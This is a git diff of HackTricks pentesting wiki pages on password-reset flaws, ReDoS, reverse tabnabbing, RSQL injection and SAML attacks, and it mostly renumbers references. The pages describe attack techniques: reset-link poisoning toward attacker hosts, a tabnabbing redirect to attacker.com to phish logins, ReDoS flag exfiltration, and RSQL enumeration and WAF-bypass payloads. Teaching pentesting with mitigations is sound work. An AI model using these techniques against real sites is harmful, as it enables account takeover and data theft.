Pre‑hijacking attacks on web user accounts (May 2022)](https://msrc.microsoft.com/blog/2022/05/pre-hijacking-attacks/) -- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover) -- [Hey there! You are using WhatsApp: Enumerating Three Billion Accounts for Security and Privacy (NDSS 2026 paper & dataset)](https://github.com/sbaresearch/whatsapp-census) +- [1] [Hey there! You are using WhatsApp: Enumerating Three Billion Accounts for Security and Privacy (NDSS 2026 paper & dataset)](https://github.com/sbaresearch/whatsapp-census) +- [2] [Microsoft MSRC – Pre‑hijacking attacks on web user accounts (May 2022)](https://msrc.microsoft.com/blog/2022/05/pre-hijacking-attacks/) +- [3] [SalmonSec – Account Takeover Cheat Sheet](https://salmonsec.com/cheatsheet/account_takeover) +- [4] [CVE-2020-7245 – CTFd password reset username collision](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) +- [5] [HackerOne Report 737140](https://hackerone.com/reports/737140) +- [6] [HackerOne Report 771666](https://hackerone.com/reports/771666) +- [7] [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/regular-expression-denial-of-service-redos.md b/src/pentesting-web/regular-expression-denial-of-service-redos.md index 15bccf507f0..004d79f5504 100644 --- a/src/pentesting-web/regular-expression-denial-of-service-redos.md +++ b/src/pentesting-web/regular-expression-denial-of-service-redos.md @@ -8,12 +8,12 @@ A **Regular Expression Denial of Service (ReDoS)** happens when someone takes ad ## The Problematic Regex Naïve Algorithm -**Check the details in [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)** +**Check the details in [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**[[1]](#references) ### Engine behavior and exploitability - Most popular engines (PCRE, Java `java.util.regex`, Python `re`, JavaScript `RegExp`) use a **backtracking** VM. Crafted inputs that create many overlapping ways to match a subpattern force exponential or high-polynomial backtracking. -- Some engines/libraries are designed to be **ReDoS-resilient** by construction (no backtracking), e.g. **RE2** and ports based on finite automata that provide worst‑case linear time; using them for untrusted input removes the backtracking DoS primitive. See the references at the end for details. +- Some engines/libraries are designed to be **ReDoS-resilient** by construction (no backtracking), e.g. **RE2** and ports based on finite automata that provide worst‑case linear time; using them for untrusted input removes the backtracking DoS primitive. See the references at the end for details.[[5]](#references)[[6]](#references) ## Evil Regexes @@ -59,10 +59,10 @@ for n in [2**k for k in range(8, 15)]: In a CTF (or bug bounty) maybe you **control the Regex a sensitive information (the flag) is matched with**. Then, if might be useful to make the **page freeze (timeout or longer processing time)** if the a **Regex matched** and **not if it didn't**. This way you will be able to **exfiltrate** the string **char by char**: -- In [**this post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) you can find this ReDoS rule: `^(?=)((.*)*)*salt$` +- In [**this post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) you can find this ReDoS rule: `^(?=)((.*)*)*salt$`[[2]](#references) - Example: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$` -- In [**this writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20@%20DEKRA%20CTF%202022/solver/solver.html) you can find this one:`(((((((.*)*)*)*)*)*)*)!` -- In [**this writeup**](https://ctftime.org/writeup/25869) he used: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$` +- In [**this writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20@%20DEKRA%20CTF%202022/solver/solver.html) you can find this one:`(((((((.*)*)*)*)*)*)*)!`[[3]](#references) +- In [**this writeup**](https://ctftime.org/writeup/25869) he used: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`[[4]](#references) ### ReDoS Controlling Input and Regex @@ -122,11 +122,11 @@ Regexp (a+)*$ took 723 milliseconds. ## References -- [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) -- [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) -- [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20@%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20@%20DEKRA%20CTF%202022/solver/solver.html) -- [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869) -- SoK (2024): A Literature and Engineering Review of Regular Expression Denial of Service (ReDoS) — [https://arxiv.org/abs/2406.11618](https://arxiv.org/abs/2406.11618) -- Why RE2 (linear‑time regex engine) — [https://github.com/google/re2/wiki/WhyRE2](https://github.com/google/re2/wiki/WhyRE2) +- [1] [OWASP – Regular expression Denial of Service - ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) +- [2] [PortSwigger Daily Swig – Blind regex injection: theoretical exploit offers new way to force web apps to spill secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) +- [3] [jorgectf – Created CTF Challenges: TacoMaker @ DEKRA CTF 2022 solver](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20@%20DEKRA%20CTF%202022/solver/solver.html) +- [4] [CTFtime writeup 25869](https://ctftime.org/writeup/25869) +- [5] [SoK (2024): A Literature and Engineering Review of Regular Expression Denial of Service (ReDoS)](https://arxiv.org/abs/2406.11618) +- [6] [Why RE2? (linear‑time regex engine)](https://github.com/google/re2/wiki/WhyRE2) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/reset-password.md b/src/pentesting-web/reset-password.md index 15652f610d3..7dd3d4d3b1c 100644 --- a/src/pentesting-web/reset-password.md +++ b/src/pentesting-web/reset-password.md @@ -6,16 +6,12 @@ - The HTTP referer header may leak the password reset token if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset. - **Impact**: Potential account takeover via Cross-Site Request Forgery (CSRF) attacks. -- **Exploitation**: To check if a password reset token is leaking in the referer header, **request a password reset** to your email address and **click the reset link** provided. **Do not change your password** immediately. Instead, **navigate to a third-party website** (like Facebook or Twitter) while **intercepting the requests using Burp Suite**. Inspect the requests to see if the **referer header contains the password reset token**, as this could expose sensitive information to third parties. -- **References**: - - [HackerOne Report 342693](https://hackerone.com/reports/342693) - - [HackerOne Report 272379](https://hackerone.com/reports/272379) - - [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a) +- **Exploitation**: To check if a password reset token is leaking in the referer header, **request a password reset** to your email address and **click the reset link** provided. **Do not change your password** immediately. Instead, **navigate to a third-party website** (like Facebook or Twitter) while **intercepting the requests using Burp Suite**. Inspect the requests to see if the **referer header contains the password reset token**, as this could expose sensitive information to third parties.[[1]](#references)[[2]](#references)[[3]](#references) ## **Password Reset Poisoning** - Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site. -- **Impact**: Leads to potential account takeover by leaking reset tokens to attackers. +- **Impact**: Leads to potential account takeover by leaking reset tokens to attackers.[[4]](#references) - **Exploitation tips**: - Test not only `Host`, but also override headers such as `X-Forwarded-Host`, `Forwarded`, `X-Host`, and `X-Original-Host`. Reverse proxies and middleware sometimes build the reset URL from those values instead of from the canonical host. - If the reset request contains parameters such as `baseurl`, `return_to`, `redirect_uri`, `redirect_url`, `next`, or a tenant/domain selector, point them to an attacker-controlled host and inspect the email template. @@ -24,12 +20,10 @@ - Validate the Host header against a whitelist of allowed domains. - Use secure, server-side methods to generate absolute URLs. - **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`. -- **References**: - - [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/) ## **Password Reset By Manipulating Email Parameter** -Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link. +Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.[[5]](#references)[[6]](#references)[[7]](#references)[[8]](#references) - Add attacker email as second parameter using & @@ -111,14 +105,10 @@ email[]=victim@mail.tld&email[]=attacker@mail.tld - Properly parse and validate email parameters server-side. - Reject arrays / repeated parameters when a single recipient is expected. - Cast the final recipient to a string before passing it to the mailer and re-validate after any normalization step. -- **References**: - - [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be) - - [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/) - - [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872) ## **Changing Email And Password of any User through API Parameters** -- Attackers can modify email and password parameters in API requests to change account credentials. +- Attackers can modify email and password parameters in API requests to change account credentials.[[9]](#references) ```php POST /api/changepass @@ -129,17 +119,13 @@ POST /api/changepass - **Mitigation Steps**: - Ensure strict parameter validation and authentication checks. - Implement robust logging and monitoring to detect and respond to suspicious activities. -- **Reference**: - - [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) ## **No Rate Limiting: Email Bombing** -- Lack of rate limiting on password reset requests can lead to email bombing, overwhelming the user with reset emails. +- Lack of rate limiting on password reset requests can lead to email bombing, overwhelming the user with reset emails.[[10]](#references) - **Mitigation Steps**: - Implement rate limiting based on IP address or user account. - Use CAPTCHA challenges to prevent automated abuse. -- **References**: - - [HackerOne Report 280534](https://hackerone.com/reports/280534) ## **Find out How Password Reset Token is Generated** @@ -175,12 +161,10 @@ uuid-insecurities.md ## **Response Manipulation: Replace Bad Response With Good One** -- Manipulating HTTP responses to bypass error messages or restrictions. +- Manipulating HTTP responses to bypass error messages or restrictions.[[11]](#references) - **Mitigation Steps**: - Implement server-side checks to ensure response integrity. - Use secure communication channels like HTTPS to prevent man-in-the-middle attacks. -- **Reference**: - - [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3) ## **Using Expired Token** @@ -210,7 +194,7 @@ uuid-insecurities.md ## **Try Using Your Token** -- Testing if an attacker's reset token can be used in conjunction with the victim's email. +- Testing if an attacker's reset token can be used in conjunction with the victim's email.[[12]](#references) - This usually appears when the application validates the token and the target account independently. Typical vulnerable patterns: - Step 1 (`/forgot-password`) issues a token tied to the attacker account. - Step 2 (`/reset-password`) accepts both `token` and `email` / `userId` / `username` from the client. @@ -225,7 +209,7 @@ uuid-insecurities.md ## **Password Reset Token Disclosure in API Responses** -- Some APIs return the reset token (`resetToken`, `tempToken`, `recoveryCode`) directly in the forgot-password response or in a secondary polling/debug endpoint. +- Some APIs return the reset token (`resetToken`, `tempToken`, `recoveryCode`) directly in the forgot-password response or in a secondary polling/debug endpoint.[[13]](#references) - This is usually an immediate ATO: trigger a reset for the victim, capture the token from the API response, then call the final reset endpoint without mailbox access. - Also inspect GraphQL responses, mobile APIs, websocket notifications, batch endpoints, and verbose error messages for leaked token values or token expiry metadata. @@ -339,7 +323,7 @@ Content-Type: application/json ## Arbitrary password reset via skipOldPwdCheck (pre-auth) -Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth. +Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth.[[14]](#references) Vulnerable pattern (PHP): @@ -379,7 +363,7 @@ Mitigations: ## Registration-as-Password-Reset (Upsert on Existing Email) -Some applications implement the signup handler as an upsert. If the email already exists, the handler silently updates the user record instead of rejecting the request. When the registration endpoint accepts a minimal JSON body with an existing email and a new password, it effectively becomes a pre-auth password reset without any ownership verification allowing full account takeover. +Some applications implement the signup handler as an upsert. If the email already exists, the handler silently updates the user record instead of rejecting the request. When the registration endpoint accepts a minimal JSON body with an existing email and a new password, it effectively becomes a pre-auth password reset without any ownership verification allowing full account takeover.[[15]](#references) Pre-auth ATO PoC (overwriting an existing user's password): @@ -394,9 +378,20 @@ Content-Type: application/json ## References -- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token) -- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) -- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1) -- [GitLab Critical Security Release: 16.7.2, 16.6.4, 16.5.6](https://docs.gitlab.com/releases/patches/patch-release-gitlab-16-7-2-released/) -- [Critical: Unauthenticated Password Reset Token Disclosure Leading to Account Takeover in Flowise Cloud and Local Deployments](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wgpv-6j63-x5ph) +- [1] [HackerOne Report 342693](https://hackerone.com/reports/342693) +- [2] [HackerOne Report 272379](https://hackerone.com/reports/272379) +- [3] [Toyota's Password Reset Token and Email Address Leak via Referer Header](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a) +- [4] [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/) +- [5] [readme.com Account Takeover Bugbounty Full Disclosure](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be) +- [6] [How I Was Able to Earn $1000 with Just 10 Minutes of Bug Bounty](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/) +- [7] [@HusseiN98D Twitter thread on password reset email parameter bypass](https://twitter.com/HusseiN98D/status/1254888748216655872) +- [8] [GitLab Critical Security Release: 16.7.2, 16.6.4, 16.5.6 (CVE-2023-7028)](https://docs.gitlab.com/releases/patches/patch-release-gitlab-16-7-2-released/) +- [9] [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) +- [10] [HackerOne Report 280534](https://hackerone.com/reports/280534) +- [11] [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3) +- [12] [10 Password Reset Flaws – #10 Try Using Your Token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token) +- [13] [Critical: Unauthenticated Password Reset Token Disclosure Leading to Account Takeover in Flowise Cloud and Local Deployments](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wgpv-6j63-x5ph) +- [14] [VTENEXT 25.02 – A Three-Way Path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) +- [15] [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/reverse-tab-nabbing.md b/src/pentesting-web/reverse-tab-nabbing.md index 860b0c2fa30..00c0ff3f305 100644 --- a/src/pentesting-web/reverse-tab-nabbing.md +++ b/src/pentesting-web/reverse-tab-nabbing.md @@ -5,7 +5,7 @@ ## Description In a situation where an **attacker** can **control** the **`href`** argument of an **`[[1]](#references) A regular way to abuse this behaviour would be to **change the location of the original web** via `window.opener.location = https://attacker.com/victim.html` to a web controlled by the attacker that **looks like the original one**, so it can **imitate** the **login** **form** of the original website and ask for credentials to the user. @@ -76,13 +76,11 @@ However, in instances where the domains are identical, the malicious site gains ## Prevention -Prevention information are documented into the [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing). +Prevention information are documented into the [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing).[[2]](#references) ## References -- [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing) +- [1] [OWASP – Reverse Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing) +- [2] [OWASP Cheat Sheet Series – HTML5 Security Cheat Sheet (Tabnabbing prevention)](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing) {{#include ../banners/hacktricks-training.md}} - - - diff --git a/src/pentesting-web/rsql-injection.md b/src/pentesting-web/rsql-injection.md index f3a5129ac57..8755920ce9d 100644 --- a/src/pentesting-web/rsql-injection.md +++ b/src/pentesting-web/rsql-injection.md @@ -3,7 +3,7 @@ {{#include ../banners/hacktricks-training.md}} ## What is RSQL? -RSQL is a query language designed for parameterized filtering of inputs in RESTful APIs. Based on FIQL (Feed Item Query Language), originally specified by Mark Nottingham for querying Atom feeds, RSQL stands out for its simplicity and ability to express complex queries in a compact and URI-compliant way over HTTP. This makes it an excellent choice as a general query language for REST endpoint searching. +RSQL is a query language designed for parameterized filtering of inputs in RESTful APIs. Based on FIQL (Feed Item Query Language), originally specified by Mark Nottingham for querying Atom feeds, RSQL stands out for its simplicity and ability to express complex queries in a compact and URI-compliant way over HTTP. This makes it an excellent choice as a general query language for REST endpoint searching.[[1]](#references) ## Overview RSQL Injection is a vulnerability in web applications that use RSQL as a query language in RESTful APIs. Similar to [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) and [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection), this vulnerability occurs when RSQL filters are not properly sanitized, allowing an attacker to inject malicious queries to access, modify or delete data without authorization. @@ -23,7 +23,7 @@ If the application does not correctly validate user input, an attacker could man Or even take advantage to extract sensitive information with Boolean queries or nested subqueries. ## Risks -- **Exposure of sensitive data:** An attacker can retrieve information that should not be accessible. +- **Exposure of sensitive data:** An attacker can retrieve information that should not be accessible.[[1]](#references) - **Data modification or deletion:** Injection of filters that alter database records. - **Privilege escalation:** Manipulation of identifiers that grant roles through filters to trick the application by accessing with privileges of other users. - **Evasion of access controls:** Manipulation of filters to access restricted data. @@ -47,7 +47,7 @@ Or even take advantage to extract sensitive information with Boolean queries or | `>=` & `=ge=` | Performs a **equal** to or **greater than** query. Returns all rows from *myTable* where values in *columnA* are equal to or greater than *queryValue* | `/api/v2/myTable?q=columnA>=queryValue`
`/api/v2/myTable?q=columnA=ge=queryValue` | | `=rng=` | Performs a **from to** query. Returns all rows from *myTable* where values in *columnA* are equal or greater than the *fromValue*, and lesser than or equal to the *toValue* | `/api/v2/myTable?q=columnA=rng=(fromValue,toValue)` | -**Note**: Table based on information from [**MOLGENIS**](https://molgenis.gitbooks.io/molgenis/content/) and [**rsql-parser**](https://github.com/jirutka/rsql-parser) applications. +**Note**: Table based on information from [**MOLGENIS**](https://molgenis.gitbooks.io/molgenis/content/) and [**rsql-parser**](https://github.com/jirutka/rsql-parser) applications.[[2]](#references)[[3]](#references) #### Examples - name=="Kill Bill";year=gt=2003 @@ -59,7 +59,7 @@ Or even take advantage to extract sensitive information with Boolean queries or - genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino - genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino -**Note**: Table based on information from [**rsql-parser**](https://github.com/jirutka/rsql-parser) application. +**Note**: Table based on information from [**rsql-parser**](https://github.com/jirutka/rsql-parser) application.[[3]](#references) ## Common filters These filters help refine queries in APIs: @@ -86,7 +86,7 @@ These parameters help optimize API responses: | `search` | Performs a more flexible search | `/api/v2/posts?search=technology` | ## Information leakage and enumeration of users -The following request shows a registration endpoint that requires the email parameter to check if there is any user registered with that email and return a true or false depending on whether or not it exists in the database: +The following request shows a registration endpoint that requires the email parameter to check if there is any user registered with that email and return a true or false depending on whether or not it exists in the database:[[4]](#references) ### Request ``` GET /api/registrations HTTP/1.1 @@ -208,7 +208,7 @@ Access-Control-Allow-Origin: * } ``` ## Authorization evasion -In this scenario, we start from a user with a basic role and in which we do not have privileged permissions (e.g. administrator) to access the list of all users registered in the database: +In this scenario, we start from a user with a basic role and in which we do not have privileged permissions (e.g. administrator) to access the list of all users registered in the database:[[4]](#references) ### Request ``` GET /api/users HTTP/1.1 @@ -315,7 +315,7 @@ Access-Control-Allow-Origin: * ``` ## Privilege Escalation -It is very likely to find certain endpoints that check user privileges through their role. For example, we are dealing with a user who has no privileges: +It is very likely to find certain endpoints that check user privileges through their role. For example, we are dealing with a user who has no privileges:[[4]](#references) ### Request ``` GET /api/companyUsers?include=role HTTP/1.1 @@ -469,7 +469,7 @@ Access-Control-Allow-Origin: * ## Impersonate or Insecure Direct Object References (IDOR) -In addition to the use of the `filter` parameter, it is possible to use other parameters such as `include` which allows to include in the result certain parameters (e.g. language, country, password...). +In addition to the use of the `filter` parameter, it is possible to use other parameters such as `include` which allows to include in the result certain parameters (e.g. language, country, password...).[[4]](#references) In the following example, the information of our user profile is shown: ### Request @@ -585,20 +585,20 @@ Access-Control-Allow-Origin: * ## Detection & fuzzing quickwins - Check for RSQL support by sending harmless probes like `?filter=id==test`, `?q==test` or malformed operators `=foo=`; verbose APIs often leak parser errors ("Unknown operator" / "Unknown property"). - `rsql-parser`-style grammars reserve `" ' ( ) ; , = ! ~ < >`; if a selector/value containing one of those characters only works once quoted (for example `name=='a,b'`), you have a useful fingerprint and a hint that input validation is happening on only part of the expression. -- Don't stop at `filter[users]`: Elide-style JSON:API backends may accept both type-specific filters such as `filter[user]=role==admin` and a global `filter=authors.name=='Null Ned';title=='Life with Null Ned'` that traverses relationships. -- Probe operator support to fingerprint the translator layer, not just the parser: `==*foo*`, `=ini=*foo*`, `=isnull=true`, `=isempty=true`, `=between=(1,10)` or `=hasmember=` usually reveal Elide/custom JPA translators with a much larger attack surface. In Elide 5+ the default FIQL behavior is case-sensitive, so comparing `name==admin` with `name=ini=*ADMIN*` is also a useful fingerprint. -- Pull `/doc`, `/swagger` or the OpenAPI document when present. Elide documents filter parameters for each primitive attribute plus `include`, `sort` and pagination support, which is an easy way to recover valid selectors without brute-forcing field names. +- Don't stop at `filter[users]`: Elide-style JSON:API backends may accept both type-specific filters such as `filter[user]=role==admin` and a global `filter=authors.name=='Null Ned';title=='Life with Null Ned'` that traverses relationships.[[5]](#references) +- Probe operator support to fingerprint the translator layer, not just the parser: `==*foo*`, `=ini=*foo*`, `=isnull=true`, `=isempty=true`, `=between=(1,10)` or `=hasmember=` usually reveal Elide/custom JPA translators with a much larger attack surface. In Elide 5+ the default FIQL behavior is case-sensitive, so comparing `name==admin` with `name=ini=*ADMIN*` is also a useful fingerprint.[[5]](#references) +- Pull `/doc`, `/swagger` or the OpenAPI document when present. Elide documents filter parameters for each primitive attribute plus `include`, `sort` and pagination support, which is an easy way to recover valid selectors without brute-forcing field names.[[5]](#references) - Many implementations double-parse URL parameters; try double-encoding `(`, `)`, `*`, `;` (e.g., `%2528admin%2529`) to bypass naive blocklists and WAFs. - Boolean exfil with wildcards: `filter[users]=email==*%@example.com;status==ACTIVE` and flip logic with `,` (OR) to compare response sizes. - Range/proximity leaks: `filter[users]=createdAt=rng=(2024-01-01,2025-01-01)` quickly enumerates by year without knowing exact IDs. ## Framework-specific abuse (Elide / JPA Specification / JSON:API) -- `rsql-parser` only parses the grammar and explicitly supports custom operators. If you see non-standard operators such as `=like=`, `=ilike=`, `=all=` or `=notAssigned=`, focus your review on the translation layer because that is where unsafe string concatenation usually appears. -- Elide JSON:API supports both type-specific `filter[TYPE]` parameters and a single global `filter`, and selectors can traverse related models with dotted paths such as `author.books.price.total`. Test the same predicate on root collections and related collections because authorization bugs often exist on only one path. -- `rsql-jpa-specification` supports public-to-internal property remapping (for example `compCode` -> `company.code`, `compId` -> `company.id`). If the UI or docs expose friendly aliases, fuzz both the alias and the canonical dotted path to discover hidden joins or allow-list gaps. -- The same library documents direct SQL `LIKE` translation plus configurable escape characters. If the target exposes `=like=`-style operators, test `%`, `_` and the escape character because custom predicates often forget to escape wildcards consistently across MySQL/PostgreSQL/SQL Server. -- Newer `rsql-jpa-specification` releases also support PostgreSQL `jsonb` traversal (`data.user.id==1`, `data.roles.id==1`) and optional stored-procedure syntax such as `@upper[code]==HELLO` when procedures are whitelisted. If an API exposes either feature, you can often pivot from a simple field filter into nested JSON documents or function-backed selectors that were never meant to be attacker reachable. -- Elide analytic queries added field arguments/parameterized columns to the RSQL grammar; this was the precondition behind CVE-2022-24827, where a `TEXT` parameter containing `--` could strip the generated authorization `WHERE` clause. On analytics endpoints, always test whether filter operands or field arguments are copied into SQL fragments before server-side auth filters are applied. +- `rsql-parser` only parses the grammar and explicitly supports custom operators. If you see non-standard operators such as `=like=`, `=ilike=`, `=all=` or `=notAssigned=`, focus your review on the translation layer because that is where unsafe string concatenation usually appears.[[3]](#references) +- Elide JSON:API supports both type-specific `filter[TYPE]` parameters and a single global `filter`, and selectors can traverse related models with dotted paths such as `author.books.price.total`. Test the same predicate on root collections and related collections because authorization bugs often exist on only one path.[[5]](#references) +- `rsql-jpa-specification` supports public-to-internal property remapping (for example `compCode` -> `company.code`, `compId` -> `company.id`). If the UI or docs expose friendly aliases, fuzz both the alias and the canonical dotted path to discover hidden joins or allow-list gaps.[[6]](#references) +- The same library documents direct SQL `LIKE` translation plus configurable escape characters. If the target exposes `=like=`-style operators, test `%`, `_` and the escape character because custom predicates often forget to escape wildcards consistently across MySQL/PostgreSQL/SQL Server.[[6]](#references) +- Newer `rsql-jpa-specification` releases also support PostgreSQL `jsonb` traversal (`data.user.id==1`, `data.roles.id==1`) and optional stored-procedure syntax such as `@upper[code]==HELLO` when procedures are whitelisted. If an API exposes either feature, you can often pivot from a simple field filter into nested JSON documents or function-backed selectors that were never meant to be attacker reachable.[[6]](#references) +- Elide analytic queries added field arguments/parameterized columns to the RSQL grammar; this was the precondition behind CVE-2022-24827, where a `TEXT` parameter containing `--` could strip the generated authorization `WHERE` clause. On analytics endpoints, always test whether filter operands or field arguments are copied into SQL fragments before server-side auth filters are applied.[[7]](#references) ## Automation helpers - **rsql-parser CLI (Java)**: `java -jar rsql-parser.jar "name=='*admin*';status==ACTIVE"` validates payloads locally and shows the abstract syntax tree—useful to craft balanced parentheses and custom operators. @@ -611,9 +611,12 @@ print(str(payload)) - Pair with HTTP fuzzer (ffuf, turbo-intruder) by iterating wildcard positions `*a*`, `*e*`, etc., inside `=in=` lists to enumerate IDs and emails quickly. ## References -- [RSQL Injection](https://owasp.org/www-community/attacks/RSQL_Injection) -- [RSQL Injection Exploitation](https://m3n0sd0n4ld.github.io/patoHackventuras/rsql_injection_exploitation) -- [rsql-parser](https://github.com/jirutka/rsql-parser) -- [Elide JSON:API filtering](https://elide.io/pages/guide/v7/10-jsonapi.html) +- [1] [RSQL Injection](https://owasp.org/www-community/attacks/RSQL_Injection) +- [2] [MOLGENIS documentation](https://molgenis.gitbooks.io/molgenis/content/) +- [3] [rsql-parser](https://github.com/jirutka/rsql-parser) +- [4] [RSQL Injection Exploitation](https://m3n0sd0n4ld.github.io/patoHackventuras/rsql_injection_exploitation) +- [5] [Elide JSON:API filtering](https://elide.io/pages/guide/v7/10-jsonapi.html) +- [6] [rsql-jpa-specification](https://github.com/perplexhub/rsql-jpa-specification) +- [7] [Elide SQL Injection Security Advisory (CVE-2022-24827) - GHSA-8xpj-9j9g-fc9r](https://github.com/yahoo/elide/security/advisories/GHSA-8xpj-9j9g-fc9r) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/saml-attacks/README.md b/src/pentesting-web/saml-attacks/README.md index d2cec51da44..34e5174611e 100644 --- a/src/pentesting-web/saml-attacks/README.md +++ b/src/pentesting-web/saml-attacks/README.md @@ -49,7 +49,7 @@ And this is how it saw it after a round of parsing and serialization: ![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (445).png>) -For more information about the vulnerability and how to abuse it: +For more information about the vulnerability and how to abuse it:[[1]](#references)[[2]](#references) - [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/) - [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/) @@ -58,7 +58,7 @@ For more information about the vulnerability and how to abuse it: In **XML Signature Wrapping attacks (XSW)**, adversaries exploit a vulnerability arising when XML documents are processed through two distinct phases: **signature validation** and **function invocation**. These attacks involve altering the XML document structure. Specifically, the attacker **injects forged elements** that do not compromise the XML Signature's validity. This manipulation aims to create a discrepancy between the elements analyzed by the **application logic** and those checked by the **signature verification module**. As a result, while the XML Signature remains technically valid and passes verification, the application logic processes the **fraudulent elements**. Consequently, the attacker effectively bypasses the XML Signature's **integrity protection** and **origin authentication**, enabling the **injection of arbitrary content** without detection. -The following attacks ara based on 